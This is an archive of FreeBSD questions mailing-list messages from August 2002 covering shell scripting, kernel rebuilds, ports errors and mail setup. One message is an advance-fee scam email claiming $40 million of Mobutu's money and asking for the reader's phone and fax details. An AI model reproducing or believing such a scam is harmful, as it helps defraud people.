////jerry

> 
> -- 
> Roger
> 

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From owner-freebsd-questions  Fri Aug  2  8:59: 6 2002
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Date: Fri, 2 Aug 2002 17:59:00 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: freebsd-questions@freebsd.org
Subject: Re: Script help
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> Date: Fri, 2 Aug 2002 17:52:58 +0200
> From: Roman Neuhauser <neuhauser@bellavista.cz>
> To: freebsd-questions@freebsd.org
> Subject: Re: Script help
> 
> > Date: Fri, 02 Aug 2002 09:46:20 -0500
> > To: freebsd-questions@freebsd.org
> > From: "Jack L. Stone" <jackstone@sage-one.net>
> > Subject: Script help
> > 
> > When placing blocks on some ISPs as being sources of spam floods, one
> > consideration has to be if it affects a number of innocent members on
> > various vhost majordomo mail lists so they may have passes.
> > 
> > I know I can find a list of any that would be affected by manually doing this:
> > grep spammer1.net /mj/vhost1.com/lists/list1
> > grep spammer1.net /mj/vhost2.org/lists/list2
> > grep spammer1.net /mj/vhost2.org/lists/list2-digest
> > ..etc, etc.
> > 
> > ..but, doing that for each list takes a lot of time and some type of
> > script would sure speed up things, like this command that runs a script to
> > check the above 3 mail lists all at once:
> > root@myserver>> check_all_lists <spammer1.net>
> > output =	goodguy1@spammer1.net
> > 		goodguy2@spammer1.net
> > 		goodguy3@spammer1.net
> 
>     grep -Fl spammer1.net /mj/*/lists/*

    hm. if you had enough (like 3000) vhosts you could exceed your
    shell's (or is it kernel? anyone?) command line argument count
    limit. if that's the case, you could (not tested):

    #!/bin/sh

    for d in /mj/*; do
        grep -Flr spammer1.net $d/lists
    done

-- 
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From owner-freebsd-questions  Fri Aug  2  9: 6:51 2002
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Subject: Re: RedHat to FreeBSD Migration
From: John-David Childs <nospamposter@nterprise.net>
To: freebsd-questions@freebsd.org
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OpenBSD has a pretty nice FAQ on how to convert from RH -> FreeBSD
passwd file format.  As long as your FreeBSD passwd file can still read
DES passwords, it should work flawlessly.

http://www.openbsd.org/faq/faq9.html  (Secontion 9.3)

(PS: Perhaps this should be added to FreeBSD's FAQ ;-)
--





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From owner-freebsd-questions  Fri Aug  2  9:24:48 2002
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Date: Fri, 02 Aug 2002 11:24:35 -0500
To: Roman Neuhauser <neuhauser@bellavista.cz>,
	freebsd-questions@FreeBSD.ORG
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: Script help
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At 05:59 PM 8.2.2002 +0200, Roman Neuhauser wrote:
>> Date: Fri, 2 Aug 2002 17:52:58 +0200
>> From: Roman Neuhauser <neuhauser@bellavista.cz>
>> To: freebsd-questions@freebsd.org
>> Subject: Re: Script help
>> 
>> > Date: Fri, 02 Aug 2002 09:46:20 -0500
>> > To: freebsd-questions@freebsd.org
>> > From: "Jack L. Stone" <jackstone@sage-one.net>
>> > Subject: Script help
>> > 
>> > When placing blocks on some ISPs as being sources of spam floods, one
>> > consideration has to be if it affects a number of innocent members on
>> > various vhost majordomo mail lists so they may have passes.
>> > 
>> > I know I can find a list of any that would be affected by manually
doing this:
>> > grep spammer1.net /mj/vhost1.com/lists/list1
>> > grep spammer1.net /mj/vhost2.org/lists/list2
>> > grep spammer1.net /mj/vhost2.org/lists/list2-digest
>> > ..etc, etc.
>> > 
>> > ..but, doing that for each list takes a lot of time and some type of
>> > script would sure speed up things, like this command that runs a
script to
>> > check the above 3 mail lists all at once:
>> > root@myserver>> check_all_lists <spammer1.net>
>> > output =	goodguy1@spammer1.net
>> > 		goodguy2@spammer1.net
>> > 		goodguy3@spammer1.net
>> 
>>     grep -Fl spammer1.net /mj/*/lists/*
>
>    hm. if you had enough (like 3000) vhosts you could exceed your
>    shell's (or is it kernel? anyone?) command line argument count
>    limit. if that's the case, you could (not tested):
>
>    #!/bin/sh
>
>    for d in /mj/*; do
>        grep -Flr spammer1.net $d/lists
>    done
>

Thanks for the quick response. Maybe I wasn't clear enough but that gives
me a list of the "lists" that contans "spammer1.net" but not a list of the
email address within those lists.
My example of output needed:
output =	goodguy1@spammer1.net
		goodguy2@spammer1.net
		goodguy3@spammer1.net

I need to know who is affected in each list so I can set them as OK by
email addresses, but still block the IPS's general address. Not sure I'm
being clear yet....

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Fri Aug  2  9:30: 6 2002
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Date: Fri, 2 Aug 2002 10:29:43 -0600 (CST)
From: Ryan Thompson <ryan@sasknow.com>
To: soheil h <soheil_h_y@hotmail.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: MAKING KERNEL ( emergency )
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soheil h wrote to ryan@sasknow.com:

> Hi list
> as Ryan said i do a fresh compile and make no change to GENERIC conf. file
> and the sources it takes errors ( syntax error , assembler error ,...) like
> that i send before
> how can i download the source code of FreeBSD4.4 release
> help me
> thanx

Many prefer cvsup for this. (/usr/ports/net/cvsup, or
cvsup-without-gui).

See http://www.freebsd.org/handbook/cvsup.html

To get 4.4 sources, use the RELENG_4_4 tag. Your supfile may look
something like this:

*default tag=RELENG_4_4
*default host=cvsup.freebsd.org
*default prefix=/usr
*default base=/usr/local/etc/cvsup
*default release=cvs delete use-rel-suffix
src-all
src-crypto
src-contrib

Actually, this will also get you security fixes applied later to the
4.4-RELEASE tree, so it's probably a good thing to do. Read
/usr/src/UPDATING (after the cvsup) for details and possible pitfalls.

Using the RELENG_4_4_0_RELEASE tag would get you *only* 4.4-RELEASE,
and not the subsequent critical fixes, if you need the exact release
sources for some reason.

Alternatively, if you have 4.4 CD-ROMs (or the ability to FTP), you
can install the kernel source distribution from the original media
using /stand/sysinstall, which should return your source tree to more
or less its original state.

Following the upgrade of your sources, leave the GENERIC kernel config
as-is, and try to rebuild it:

> >rm -Rf /usr/src/sys/compile/GENERIC
> >cd /usr/src/sys/i386/conf
> >config GENERIC
> >cd ../../compile/GENERIC
> >make depend
> >make
> >make install
> >
> >If that doesn't work, there is likely something wrong in your source
> >tree. Do a fresh cvsup of the system sources and try again.
> >
> >Since you're also adding your own code to the kernel, do so carefully.
> >A how-to on kernel hacking would be a bit much for this message :-),
> >but basically, change as little as possible (meaning, start with a
> >fresh kernel that you have successfully compiled without any changes),
> >and make sure you can still compile at each step. Be prepared to roll
> >back your last set of changes in the event something blows up. Yes,
> >this takes time. Yes, it takes a lot *less* time than trying to insert
> >hundreds of lines at once. :-)

-- 
  Ryan Thompson <ryan@sasknow.com>

  SaskNow Technologies - http://www.sasknow.com
  901 1st Avenue North - Saskatoon, SK - S7K 1Y4

        Tel: 306-664-3600   Fax: 306-244-7037   Saskatoon
  Toll-Free: 877-727-5669     (877-SASKNOW)     North America


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From owner-freebsd-questions  Fri Aug  2  9:37:32 2002
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Date: Fri, 02 Aug 2002 11:37:46 -0500
To: questions@freebsd.org
From: Oscar Ricardo Silva <oscars@mail.utexas.edu>
Subject: openssl vulnerability, openssh trojan - will patches be
  incorporated in 4.6.1
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I know that 4.6.1 was being created to address some of the vulnerabilities 
announced at the time:

apache
openssh
bind libraries


At the risk of advocating feature creep ... what about the recent openssl 
vulnerability?  I know 4.6.1 hasn't been released yet (RC2 last I looked), 
but might it be worthwhile to include latest openssl patches in 4.6.1?  Or 
will there be a 4.6.2 (or some other number)?

The reason I'm even asking is that the bind and openssl vulnerabilities 
can't be fixed with a simple patch.  Any binary that is statically linked 
to either libraries in these systems will need to be recompiled.  So we can 
install 4.6.1 and be safe with the bind libraries (although I haven't heard 
of an exploit) but still be vulnerable because of openssl (for which in the 
security announcement, exploits have been seen).



Oscar


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From owner-freebsd-questions  Fri Aug  2  9:40: 7 2002
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Subject: mixer: how to make changes permanent?
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Hello,

the command "mixer line 100" sets the volume, but after reboot, the
mixer-settings are lost. How do i make the changes permanent? Do i have to
put a script into /usr/local/etc/rc.d/?

Thank you




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From owner-freebsd-questions  Fri Aug  2  9:44:40 2002
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Subject: Just installed xscreensaver-gnome-4.05, no screensaver in gnomecontrolcenter and X has just hung
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Hello,
     IU've just installed xscreensaver-gnome-4.05 on my freshly installed and 
cvsup'd 4.6.Stable system.

Immediately after what I thought was a successful install, I tried configuring 
a screensaver via the gnomecontrollcenter, but no "Screensaver" option appeared 
anywhere in the panel. Thinking that I probably needed to restart X, I logged 
off and on again to see if this would make a difference.

After re-logging into X, again there was no "Screensaver option anywhere in the 
gnomecontrollcenter panel. However attempting to close the gnomecontrollcenter 
and send this e-mail off to questions / freebsd-gnome, X has hung (hence my 
tapping this e-mail out on the W2K box).

Is there secret step I missed somewhere along the line? What about the fact 
that I've now got a hung desktop?

Someone give me a hand with this please.

Stacey



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From owner-freebsd-questions  Fri Aug  2  9:45:37 2002
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Subject: Re: Just installed xscreensaver-gnome-4.05, no screensaver in
	gnomecontrolcenter and X has just hung
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: sroberts@dsl.pipex.com
Cc: freebsd-questions@FreeBSD.ORG, freebsd-gnome@FreeBSD.ORG
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On Fri, 2002-08-02 at 12:44, sroberts@dsl.pipex.com wrote:
> 
> Hello,
>      IU've just installed xscreensaver-gnome-4.05 on my freshly installed and 
> cvsup'd 4.6.Stable system.
> 
> Immediately after what I thought was a successful install, I tried configuring 
> a screensaver via the gnomecontrollcenter, but no "Screensaver" option appeared 
> anywhere in the panel. Thinking that I probably needed to restart X, I logged 
> off and on again to see if this would make a difference.
> 
> After re-logging into X, again there was no "Screensaver option anywhere in the 
> gnomecontrollcenter panel. However attempting to close the gnomecontrollcenter 
> and send this e-mail off to questions / freebsd-gnome, X has hung (hence my 
> tapping this e-mail out on the W2K box).
> 
> Is there secret step I missed somewhere along the line? What about the fact 
> that I've now got a hung desktop?
> 
> Someone give me a hand with this please.

This is a known issue.  The maintainer of xscreensaver is working on it.

Joe

> 
> Stacey
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-gnome" in the body of the message
> 
-- 
PGP Key : http://www.marcuscom.com/pgp.asc


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From owner-freebsd-questions  Fri Aug  2  9:46:14 2002
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Date: Fri, 2 Aug 2002 18:46:06 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: Script help
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> Date: Fri, 02 Aug 2002 11:24:35 -0500
> To: Roman Neuhauser <neuhauser@bellavista.cz>,
> 	freebsd-questions@FreeBSD.ORG
> From: "Jack L. Stone" <jackstone@sage-one.net>
> Subject: Re: Script help
> 
> At 05:59 PM 8.2.2002 +0200, Roman Neuhauser wrote:
> >> From: Roman Neuhauser <neuhauser@bellavista.cz>
> >> > From: "Jack L. Stone" <jackstone@sage-one.net>
> >> > 
> >> > When placing blocks on some ISPs as being sources of spam floods,
> >> > one consideration has to be if it affects a number of innocent
> >> > members on various vhost majordomo mail lists so they may have
> >> > passes.
> >> > 
> >> > I know I can find a list of any that would be affected by
> >> > manually doing this: grep spammer1.net /mj/vhost1.com/lists/list1
> >> > grep spammer1.net /mj/vhost2.org/lists/list2
> >> > grep spammer1.net /mj/vhost2.org/lists/list2-digest
> >> > ..etc, etc.
> >> > 
> >> > ..but, doing that for each list takes a lot of time and some type
> >> > of script would sure speed up things, like this command that runs
> >> > a script to check the above 3 mail lists all at once:
> >> > root@myserver>> check_all_lists <spammer1.net>
> >> > output =	goodguy1@spammer1.net
> >> > 		goodguy2@spammer1.net
> >> > 		goodguy3@spammer1.net
> >> 
> >>     grep -Fl spammer1.net /mj/*/lists/*
> >
> >    hm. if you had enough (like 3000) vhosts you could exceed your
> >    shell's (or is it kernel? anyone?) command line argument count
> >    limit. if that's the case, you could (not tested):
> >
> >    #!/bin/sh
> >
> >    for d in /mj/*; do
> >        grep -Flr spammer1.net $d/lists
> >    done
> >
> 
> Thanks for the quick response. Maybe I wasn't clear enough but that
> gives me a list of the "lists" that contans "spammer1.net" but not a
> list of the email address within those lists.
> My example of output needed:
> output =	goodguy1@spammer1.net
> 		goodguy2@spammer1.net
> 		goodguy3@spammer1.net
> 
> I need to know who is affected in each list so I can set them as OK by
> email addresses, but still block the IPS's general address. Not sure
> I'm being clear yet....

    #!/bin/sh

    for d in /mj/*; do
        grep -Flhr spammer1.net $d/lists
    done

    but this is all in the man page. have you seen it at all?

-- 
FreeBSD 4.6-STABLE
6:31PM up 3 days, 2:07, 9 users, load averages: 0.02, 0.03, 0.00

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From owner-freebsd-questions  Fri Aug  2  9:50:57 2002
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To: Joe Marcus Clarke <marcus@marcuscom.com>
Subject: Re: Just installed xscreensaver-gnome-4.05, no screensaver in gnomecontrolcenter and X has just hung
Message-ID: <1028307047.3d4ab8671dafa@netmail.pipex.net>
Date: Fri, 02 Aug 2002 17:50:47 +0100
From: <sroberts@dsl.pipex.com>
Cc: <sroberts@dsl.pipex.com>, <freebsd-questions@FreeBSD.ORG>,
	<freebsd-gnome@FreeBSD.ORG>
References: <1028306674.3d4ab6f263ccf@netmail.pipex.net> <1028306696.312.28.camel@gyros.marcuscom.com>
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Hi Joe,
   Thanks for letting me know that.., so do I kill X and uninstall the port, or 
something????

Silly question...., if its known to be broken, is it not possible to flag this 
port as such? I kinda recall encountering a couple of ports that have been 
flagged as "Forbidden" somewhere along the line.., Pretty sure if I'd seen 
this, I'd have not proceeded with the installation.

Given this box has just been rebuilt., I'm weary of putting broken stuff on 
here.

Stacey

Quoting Joe Marcus Clarke <marcus@marcuscom.com>:

> On Fri, 2002-08-02 at 12:44, sroberts@dsl.pipex.com wrote:
> > 
> > Hello,
> >      IU've just installed xscreensaver-gnome-4.05 on my freshly
> installed and 
> > cvsup'd 4.6.Stable system.
> > 
> > Immediately after what I thought was a successful install, I tried
> configuring 
> > a screensaver via the gnomecontrollcenter, but no "Screensaver" option
> appeared 
> > anywhere in the panel. Thinking that I probably needed to restart X, I
> logged 
> > off and on again to see if this would make a difference.
> > 
> > After re-logging into X, again there was no "Screensaver option
> anywhere in the 
> > gnomecontrollcenter panel. However attempting to close the
> gnomecontrollcenter 
> > and send this e-mail off to questions / freebsd-gnome, X has hung
> (hence my 
> > tapping this e-mail out on the W2K box).
> > 
> > Is there secret step I missed somewhere along the line? What about the
> fact 
> > that I've now got a hung desktop?
> > 
> > Someone give me a hand with this please.
> 
> This is a known issue.  The maintainer of xscreensaver is working on it.
> 
> Joe
> 
> > 
> > Stacey
> > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-gnome" in the body of the message
> > 
> -- 
> PGP Key : http://www.marcuscom.com/pgp.asc
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 




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From owner-freebsd-questions  Fri Aug  2  9:56:29 2002
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To: karl agee <kdagee@attglobal.net>
Cc: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>
Subject: Re: user ppp vs. kernel ppp
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karl agee wrote:

> So what is the difference btwn user ppp and kernel ppp??  I've read the
> docs and not sure what to make of them....
> 
> am i correct that user ppp is now the "official" version??
> 
> Right now, I use kppp to dialout, works fine..which does it use??
> 
> Asking this mainly 'cause I am reading up on packet filtering firewalls
> using ipfw and ipfilter.


What got me into FreeBSD was MS changing RRAS/natd every time they 
released a new beta for 2000. I used user ppp because I could set it 
up to nat and to deny incoming. I think kppp is similar but I setup 
ppp because I could fire it off at system boot. Kernel ppp was a lot 
harder to stop and restart.


BTW, your system clock is wacko. You are showing up as 4 August. You 
are about 50 hours fast.

Kent

-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Fri Aug  2  9:56:44 2002
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From: "OJO BALOGUN" <obj433@consultant.com>
Date: Fri, 02 Aug 2002 17:56:26
To: freebsd-questions@FreeBSD.org
Subject: I NEED YOUR CONSENT
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CHALLENGE SECURITIES LTD.
LAGOS, NIGERIA
E-mail: obj433@consultant.com

ATTENTION:SIR/MADAM

I am MR. OJO BALOGUN, the Director of Operations
CHALLENGE SECURITIES LTD,LAGOS NIGERIA. Here in
NIGERIA
Our firm is a security company of high repute with
years of outstanding service to the people of Africa.

I have resolved to contact you through this medium
based on business proposal that will be of mutual
benefit to both of us. I got your particulars through
a consultant company base on my research for a
trustworthy and established person that understands
investment ethic for entering into a life time
profitable joint partnership investment and also
co-operation with confidence and trust that you will
keep the contents secret and not divulged to any third
party.

To be explicit and straight to the point. Some time
early 1997, a reputable client of ours deposited a
consignment in our company\'s vault for safe keeping.
And since then our client has failed to come forward
to claim his consignment, which has accumulated a
considerable amount of money in demurrage.

Consequently, in our bide to contact this client to
redeem the demurrage which his consignment had
accumulated we discovered that our client was the
former president of the Federal Republic of Zaire, who
died of illness after he was de-throwed in the same
year the consignment was entrusted into our care.

Since the death of our client President Mobutou
Seseseko, none of his benefactors has come forward to
claim the consignment with us, which means that non of
his relatives or aids had any knowledge of this
consignment. Hence out of curiosity I decided to
secretly open the two boxes that our client deposited
in our vault. And to my surprise I discovered that the
two boxes that were registered as treasurer by our
client actually contained a considerable amount of
money in United States Dollars amounting to about
US$40 million Dollar. Since this development I have
been nursing plans secretly. I also found out from
enquiries and the foreign media that our late client
siphoned a lot of money from his country while he was
in office as head of state.
It is my conviction that the consignment in our vault
was part of the money that our client siphoned and now
that he is dead there is no race to this money in our
care.
I am no! w soliciting your noble assistance to assist me
in transferring this money out of nigeria to your
country for immediate investment with your assistance.
I have also decided that you will generously be
entitled to 30% of the total amount. Upon my receipt
of your reply confirming your willingness to assist me
of this transaction, I will immediately arrange and
transfer all the rights of ownership of this
consignment to your name to facilitate your easy
clearance and transfer of the complete funds to your
country.

you have nothing to worry about, as I will  be there
to assist you in anyway necessary with all proper
documentation.
This transaction is 100% risk free.
Please maintain absolute confidentiality on this
matter.

Please reply to the above email address with your
telephone and fax so can call you.
Thanks.

Yours faithfully.

OJO BALOGUN




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From owner-freebsd-questions  Fri Aug  2 10:33:40 2002
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Subject: WARNING:  cannot connect to checkip.dyndns.org:80 socket:
	IO::Socket::INET: Bad hostname 'checkip.dyndns.org'
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
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Hello,
     Could someone who is successfully using ddclient please give soem
assistance with this messages that's repeatedly appearing in
/var/log/messages?

The "checkip.dyndns.org" is the url enabled in ddclient.conf to check
for the external IP Addr for the ADSL connection I have here. If you
require further logs/configs, just let me know.

I've sent repeated e-mail enquiries to Paul Burry, have never received a
reply.

Thanks to all that might respond.

Stacey

Aug  2 15:55:25 <mybox> ddclient[209]: WARNING:  cannot connect to
checkip.dyndns.org:80 socket: IO::Socket::INET: Bad hostname
'checkip.dyndns.org' 





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From owner-freebsd-questions  Fri Aug  2 10:34:26 2002
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From: Shannon -jj Behrens <jj@nttmcl.com>
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Subject: Re: pkg_add -r XFree86-4 fails - How do I tell pkg_add to look somewhere else for target?
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> Hi Shannon,
>    Thanks for the information.
> 
> I did that and can now start gnome fine *as root only*. I do have wrapper
> installed, but "startx" as non-root user fails.
> 
> I searched the archives and saw lots of replies to posts of the "cannot use
> startx as non-root user" advising to install wrapper. However, like I said, I
> already have this installed.
> 
> All attempts to re-install via pkg_delete wrapper.x errors with a warning that
> XFree86-4.2.1 depends on wrapper.
> 
> Is there a config option for wrapper or XFree86Config that I missed somewhere?

Look in /etc/rc.conf.  Do you have any variables that start with 
"kern_securelevel_"?  In my utter ignorance, I just turn all of this off by
removing all such variables (the default is not to use them).

-jj

-- 
o*s*o*pho*bi*a n. A common fear among embedded systems programmers.

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From owner-freebsd-questions  Fri Aug  2 10:39:43 2002
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From: "Jennie Corriveau" <jcorriveau@ec.rr.com>
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Subject: posix threads in ports?
Date: Fri, 2 Aug 2002 13:23:38 -0400
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------=_NextPart_000_006E_01C23A27.CF924380
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	charset="iso-8859-1"
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I installed FreeBSD a week ago, when trying to install any ports since =
my last make world, I'm getting this..

checking for __pthread_attr_init_system in -lpthread... no
configure: error: I can't find the libraries for the thread =
implementation
                posix. Please choose another thread implementation or
                provide information on your thread implementation.
                You can also run 'configure --disable-threads'=20
                to compile without thread support.
configure: error: ./configure failed for glib-1.2.8
=3D=3D=3D>  Script "configure" failed unexpectedly.
      Please report the problem to gnome@FreeBSD.org [maintainer] and =
attach
      the "/usr/ports/devel/pkgconfig/work/pkgconfig-0.12.0/config.log"
      including the output of the failure of your make command. Also, it =
might
      be a good idea to provide an overview of all packages installed on =
your
      system (e.g. an `ls /var/db/pkg`).
*** Error code 1

Stop in /usr/ports/devel/pkgconfig.

any help is greatly appreciated.

Jennie



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I installed FreeBSD a week ago, when =
trying to=20
install any ports since my last make world, I'm getting =
this..</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>checking for __pthread_attr_init_system in -lpthread... =
no<BR>configure:=20
error: I can't find the libraries for the thread=20
implementation<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
posix. Please choose another thread implementation=20
or<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;=20
provide information on your thread=20
implementation.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
You can also run 'configure --disable-threads'=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
to compile without thread support.<BR>configure: error: ./configure =
failed for=20
glib-1.2.8<BR>=3D=3D=3D&gt;&nbsp; Script "configure" failed=20
unexpectedly.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please report the =
problem to=20
gnome@FreeBSD.org [maintainer] and =
attach<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the=20
"/usr/ports/devel/pkgconfig/work/pkgconfig-0.12.0/config.log"<BR>&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;=20
including the output of the failure of your make command. Also, it=20
might<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; be a good idea to provide an =
overview of=20
all packages installed on your<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system =
(e.g. an=20
`ls /var/db/pkg`).<BR>*** Error code 1<BR><BR>Stop in=20
/usr/ports/devel/pkgconfig.</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>any help is greatly =
appreciated.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jennie</FONT></DIV>
<DIV><BR></DIV></BODY></HTML>

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From owner-freebsd-questions  Fri Aug  2 10:41:23 2002
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From: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
To: <freebsd-questions@freebsd.org>
Subject: Little Question
Date: Fri, 2 Aug 2002 14:40:09 -0300
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    I know that this question is more related to perl than FreeBSD, but....
    Anyone knowns how can I count the number of bytes in STDIN in perl...

    Like:

    cat /kernel | ./checksize.pl

    and the script says:

    File has 50000 bytes..

    Thanks in advance...


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From owner-freebsd-questions  Fri Aug  2 10:46: 1 2002
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Date: Fri, 02 Aug 2002 12:45:33 -0500
To: Roman Neuhauser <neuhauser@bellavista.cz>,
	freebsd-questions@FreeBSD.ORG
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: Script help
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At 06:46 PM 8.2.2002 +0200, Roman Neuhauser wrote:
>> Date: Fri, 02 Aug 2002 11:24:35 -0500
>> To: Roman Neuhauser <neuhauser@bellavista.cz>,
>> 	freebsd-questions@FreeBSD.ORG
>> From: "Jack L. Stone" <jackstone@sage-one.net>
>> Subject: Re: Script help
>> 
>> At 05:59 PM 8.2.2002 +0200, Roman Neuhauser wrote:
>> >> From: Roman Neuhauser <neuhauser@bellavista.cz>
>> >> > From: "Jack L. Stone" <jackstone@sage-one.net>
>> >> > 
>> >> > When placing blocks on some ISPs as being sources of spam floods,
>> >> > one consideration has to be if it affects a number of innocent
>> >> > members on various vhost majordomo mail lists so they may have
>> >> > passes.
>> >> > 
>> >> > I know I can find a list of any that would be affected by
>> >> > manually doing this: grep spammer1.net /mj/vhost1.com/lists/list1
>> >> > grep spammer1.net /mj/vhost2.org/lists/list2
>> >> > grep spammer1.net /mj/vhost2.org/lists/list2-digest
>> >> > ..etc, etc.
>> >> > 
>> >> > ..but, doing that for each list takes a lot of time and some type
>> >> > of script would sure speed up things, like this command that runs
>> >> > a script to check the above 3 mail lists all at once:
>> >> > root@myserver>> check_all_lists <spammer1.net>
>> >> > output =	goodguy1@spammer1.net
>> >> > 		goodguy2@spammer1.net
>> >> > 		goodguy3@spammer1.net
>> >> 
>> >>     grep -Fl spammer1.net /mj/*/lists/*
>> >
>> >    hm. if you had enough (like 3000) vhosts you could exceed your
>> >    shell's (or is it kernel? anyone?) command line argument count
>> >    limit. if that's the case, you could (not tested):
>> >
>> >    #!/bin/sh
>> >
>> >    for d in /mj/*; do
>> >        grep -Flr spammer1.net $d/lists
>> >    done
>> >
>> 
>> Thanks for the quick response. Maybe I wasn't clear enough but that
>> gives me a list of the "lists" that contans "spammer1.net" but not a
>> list of the email address within those lists.
>> My example of output needed:
>> output =	goodguy1@spammer1.net
>> 		goodguy2@spammer1.net
>> 		goodguy3@spammer1.net
>> 
>> I need to know who is affected in each list so I can set them as OK by
>> email addresses, but still block the IPS's general address. Not sure
>> I'm being clear yet....
>
>    #!/bin/sh
>
>    for d in /mj/*; do
>        grep -Flhr spammer1.net $d/lists
>    done
>
>    but this is all in the man page. have you seen it at all?
>
>-- 
Ah, this may be crude, but it works great:
grep spammer1.net /mj/vhost1.com/lists/list1 > oklist
grep spammer2.com /mj/vhost2.org/lists/list2 >> okaylist
grep spammer3.org /mj/vhost2.org/lists/list2-digest >> okaylist
mail -s "Spammer ISP Passes" mail_to_me < oklist

All I need to do is replace the "spammerxx.xxx" first (gotta script that
too!), then run that script that mails itself to me....

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Fri Aug  2 10:54:43 2002
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To: freebsd-questions@FreeBSD.ORG
Cc: Lord Raiden <raiden23@netzero.net>
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X-Loop: FreeBSD.ORG

On Fri, 2 Aug 2002, Lord Raiden wrote:

> 	I'm wanting to make a bunch of user accounts with only mail access to one
> of the servers and I wanted to set the home dir as null basically.  AKA
> they have no home dir.
>

You might not want to do that for mail users.  It is better to give
everyone a home directory so that you can setup procmail for each user,
etc.

Also, you would want to set their shell to /bin/nologin so that they can't
login.


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From owner-freebsd-questions  Fri Aug  2 11: 4:41 2002
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Date: Fri, 2 Aug 2002 14:03:20 -0400 (EDT)
From: Kenneth Culver <culverk@yumyumyum.org>
To: Jennie Corriveau <jcorriveau@ec.rr.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: posix threads in ports?
In-Reply-To: <007101c23a49$56d63e20$0301a8c0@ec.rr.com>
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X-Loop: FreeBSD.ORG

pthreads are part of the base system, they're just not in -lpthread,
they're in -lc_r

Are you sure you're using the ports tree and you havn't modified it at
all?

Ken

On Fri, 2 Aug 2002, Jennie Corriveau wrote:

> I installed FreeBSD a week ago, when trying to install any ports since my last make world, I'm getting this..
>
> checking for __pthread_attr_init_system in -lpthread... no
> configure: error: I can't find the libraries for the thread implementation
>                 posix. Please choose another thread implementation or
>                 provide information on your thread implementation.
>                 You can also run 'configure --disable-threads'
>                 to compile without thread support.
> configure: error: ./configure failed for glib-1.2.8
> ===>  Script "configure" failed unexpectedly.
>       Please report the problem to gnome@FreeBSD.org [maintainer] and attach
>       the "/usr/ports/devel/pkgconfig/work/pkgconfig-0.12.0/config.log"
>       including the output of the failure of your make command. Also, it might
>       be a good idea to provide an overview of all packages installed on your
>       system (e.g. an `ls /var/db/pkg`).
> *** Error code 1
>
> Stop in /usr/ports/devel/pkgconfig.
>
> any help is greatly appreciated.
>
> Jennie
>
>
>


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From owner-freebsd-questions  Fri Aug  2 11:12: 7 2002
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X-Loop: FreeBSD.ORG

Hello!

The new Sendmail startup mechanism on 4.6 requires that people using 
MTAs other than Sendmail specify the startup script with 
mta_start_script variable in rc.conf. I'm using an old(ish) version 
of Postfix, installed from ports in July 2001 and I can't figure out 
what the value of mta_start_script should be. As a wild guess, I 
tried "/usr/local/sbin/postfix" and "/usr/local/sbin/postfix start", 
but it didn't work (error messages on bootup scroll off the screen so 
fast I can't read them and they don't seem to get logged anywhere).

As a workaround, I created an /usr/local/etc/rc.d/postfix.sh script 
which works OK, but it seems kind of inelegant.
--
Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/
* This message is ROT13-encrypted twice for extra security.


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From owner-freebsd-questions  Fri Aug  2 11:15:32 2002
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X-Loop: FreeBSD.ORG

Yep, just did a fresh cvsup of ports, ran portsdb -Uu, pkgdb -F , and still
getting the error. I did a cvsup of RELENG_4 two days ago and did a make
world, kernel build with no errors.  * shrug *

Jennie

pthreads are part of the base system, they're just not in -lpthread,
they're in -lc_r

Are you sure you're using the ports tree and you havn't modified it at
all?




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From owner-freebsd-questions  Fri Aug  2 11:17:15 2002
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Date: Fri, 2 Aug 2002 11:17:13 -0700 (PDT)
From: Tim Erlin <tperlin@yahoo.com>
Subject: Evolution, Connector, FreeBSD
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X-Loop: FreeBSD.ORG

